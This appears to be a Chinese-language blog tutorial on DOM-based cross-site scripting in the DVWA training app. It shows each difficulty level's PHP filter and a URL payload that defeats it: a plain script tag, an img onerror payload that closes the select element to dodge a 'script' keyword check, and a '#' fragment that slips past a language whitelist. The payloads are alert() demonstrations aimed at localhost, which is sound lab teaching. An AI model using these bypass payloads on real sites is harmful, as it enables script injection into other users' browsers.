DVWA XSS(DOM树)

XSS(Cross Site Script),全称跨站脚本攻击,为了与 CSS(Cascading Style Sheet) 有所区别,所以在安全领域称为 XSS。XSS 攻击,通常指黑客通过 HTML 注入 篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击行为。

DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

DOM XSS:通过修改页面的DOM节点形成的XSS

low

<?php
# Don't need to do anything, protction handled on the client side
?>

我们审查一下界面源代码html,如下:

document.write("<option value='English'>English</option>");

构造如下url:

http://127.0.0.1/DVWA-master/vulnerabilities/xss_d/?default=<script>alert('hack')</script>

相当于

<option value='English'>English<script>alert('hack')</script></option>

发现出现一个弹窗

medium

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}
?> 

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)

构造如下url:

http://127.0.0.1/DVWA-master/vulnerabilities/xss_d/?default=</option></select><img src=1 onerror=alert('hack')>   

首先闭合了标签 和 标签,利用 img标签的onerror事件,javascript,img标签支持onerror 事件,在加载图像的过程中如果发生了错误,就会触发onerror事件

相当于

<option value=''> English</option></select><img src=1 onerror=alert(/xss/)></option>

high

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
?>

这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。

构造如下url

http://127.0.0.1/DVWA-master/vulnerabilities/xss_d/?default=English #<script>alert('hack')</script>

相当于

<option value=''>English #<script>alert('hack')</script></option>

impossible

<?php
# Don't need to do anything, protction handled on the client side
?>

不需要做任何事,在客户端处理

xss存储型链接
https://blog.csdn.net/qq_43452198/article/details/89480889
xss反射型链接
https://blog.csdn.net/qq_43452198/article/details/89480839

猜你喜欢

转载自blog.csdn.net/qq_43452198/article/details/89480978